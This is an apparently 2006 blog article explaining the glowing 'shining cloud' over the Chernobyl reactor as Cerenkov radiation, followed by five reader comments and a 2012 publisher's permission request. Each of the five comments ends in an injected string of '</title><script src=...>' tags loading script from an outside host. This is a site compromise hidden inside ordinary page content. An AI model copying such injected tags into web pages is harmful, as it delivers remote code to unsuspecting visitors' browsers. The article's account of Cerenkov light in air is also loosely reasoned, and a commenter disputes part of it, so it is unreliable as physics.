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The Mystery Of The Chernobyl Reactor 'Shining Cloud'
by Mark on 5/5/2006 (6)

Artist day-time rendition of Chernobyl post-accident "shining cloud."
On April 25th-26th, 1986, the World's worst nuclear power accident occurred at Chernobyl in the former USSR (now Ukraine). The Chernobyl nuclear power plant located 80 miles north of Kiev had 4 reactors and whilst testing reactor number 4 numerous safety procedures were disregarded. At 1:23 a.m. the chain reaction in the reactor became out of control creating explosions and a fireball which blew off the reactor's heavy steel and concrete lid.

As fire, smoke and steam raged from the shattered reactor hall building, residents of the nearby city of Pripyat, standing atop the tallest apartment building in the city, spoke of a beautiful "shining cloud" pluming from the shattered reactor.

What was this "shining cloud?" How did it come into being?

In order to understand, one first must examine this excerpt from Chernobyl plant operator Alexander Yuvchenko, who was one of very few control room operators on duty that fateful day to survive the accident. After the explosion, he and a colleague went outside of the reactor building to "get a better look at the damage." Yuvchenko stated: "From where I stood I could see a huge beam of projected light flooding up into infinity from the reactor. It was like a laser light, caused by the ionization of the air. It was light-bluish, and it was very beautiful."

Cerenkov Radiation emanating from a reactor core under "controlled" conditions. The blue glow is caused by high energy electrons traveling faster than the speed of light in a medium, in this case, water.
To better understand this bluish light, one must first understand Cerenkov Radiation. In 1934, while he was studying the effects of radioactive substances on liquids, Pavel Cerenkov noticed that water surrounding certain radioactive substances emitted a faint blue glow, which is now termed Cerenkov radiation.

Cerenkov Radiation comes from particles traveling at a speed greater than the speed of light in the medium in which they are moving. Electrically charged particles emit Cerenkov Radiation, and in the case of the Chernobyl accident, an intense flux of high energy electrons emitted by the molten, naked core ionized the surrounding moist air and steam droplets belching from the reactor hall after the explosion, and caused them to glow light blue, as plant operator Yuvchenko observed.

No known pictures of the "shining cloud" have been published, as the accident occurred when the Ukraine was part of the Soviet Union, and all controversial media deemed damaging to the State was censored, seized or destroyed. Above is an artist's rendition of the "shining cloud" above Chernobyl shortly after the accident. Steam and fire rages from the shattered reactor hall, the laser-like beam of Cerenkov Radiation extending up into infinity, ionizing the surrounding moist air and water droplets in the steam. The glowing cloud would have diminished as soon as the run amok nuclear fission reaction died away, or was "poisoned" by helicopters that dumped Boron powder (An element that naturally absorbs neutrons that cause nuclear fission) into the reactor's gaping maw.


Post Script: It was brought to my atte


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Comments

1. by Motz on 3/1/2007 4:52:29 PM
Kris, we need to come up with some kind of "true story" tag. We are a satire page, but I enjoy writing factual stories too. The overall conrtadicition of format confuses some readers;uil </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by Crackpot on 3/1/2007 4:52:29 PM
Just a point of clarification... Your article states that the speed of Cerenkov Radiation is faster than light, this is only partly correct as we are dealing with the passage of light through a medium, in this case, water. The speed of light, c, through water, or any other medium is slower than that of light through a vaccum. An interesting phenomena of this particular radiation is that it seems to ignore the medium, and travel at speeds approaching 1, or c in a vaccum. If your readres are interested, there is a group performing research on this effect and some of the details can be found here: http://www.physics.upenn.edu/balloon/cerenkov_radiation.html Just my 2 shiny pennies worth. --Crackpot--uildi </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Motz, author on 3/1/2007 4:52:29 PM
Thanks for the feedback. My main goal was to illustrate that the Cherno accident was more than just an explosion and fire, but a truly strange and terrifying phenonema due to the escape of ionizing radiation. I just wanted to capture the substantial visual event that the USSR kept under wraps. Thanks for reading.<i </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by DiskMan on 3/1/2007 4:52:29 PM
It wasn't kept under wraps that well... I remember CNN was showing some images of the damaged reactor and one of the things that they mentioned was the 'blue glow' coming from the damaged area. This was not too long after the explosion occurred, some of you may remember that the Soviet Union didn't admit to it for a week or so. It was actually announced to the general populace by Sweden who noticed the increase in atmospheric radiation... Just my 2¢ worth...h="0"< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Snuffy on 3/1/2007 4:52:29 PM
I was in Greece at the time of the Chernobyl accident. When the "cloud" was heading in a southward direction, great concern was felt by many of the rural Greek villagers. Their main concern was what to do with their farm crops (mainly vegetables) that would be tainted by the radiation. The coverup by the Soviets did nothing to soothe the concerns of the people. The winds changed and the cloud went to the north. Greece was not affected but it did magnify the worry about what to do if another nuclear accident were to happenone"></ifram </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Bhargavi on 8/28/2012 12:01:47 AM
Dear Team Elsevier is publishing a new book entitled “Vallero/Letcher’s: Unraveling Environmental Disasters” Publication date: Oct. 1, 2012 Format: print and electronic ISBN : 9780123970268 We request your permission to reproduce or, if it is necessary, to redraw or modify the material listed below in this and all subsequent editions of this Elsevier work, its ancillaries, and other derivative works, in any form or medium, whether now known or hereafter developed, in all languages, for distribution throughout the world. We will give full credit to the original source. Source Reference: http://www.smthop.com/article.aspx?newsnum=805 We request permission for using 1 figure appearing in the above mentioned reference. If you are not the owner of the material for which we hereby apply for permission to reproduce, would you please supply the name and address of the person to whom requests should be directed? If permission is granted, please respond by e-mail, fax or post. Regards, Bhargavi Natarajan Permission Processor, Book Publishing Support, Chennai Elsevier (A division of Reed Elsevier India Pvt. Ltd.) ___________________________ International Tech Park | Crest – 12th Floor | Taramani Road | Taramani | Chennai 600 113 | India Tel: +91 44 42994522 | E-mail: b.natarajan@elsevier.com | URL: www.elsevier.com


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